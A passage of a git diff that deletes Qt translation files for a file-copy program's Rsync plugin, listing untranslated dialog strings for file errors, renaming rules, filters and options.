- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/pt/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/pt/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/pt/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
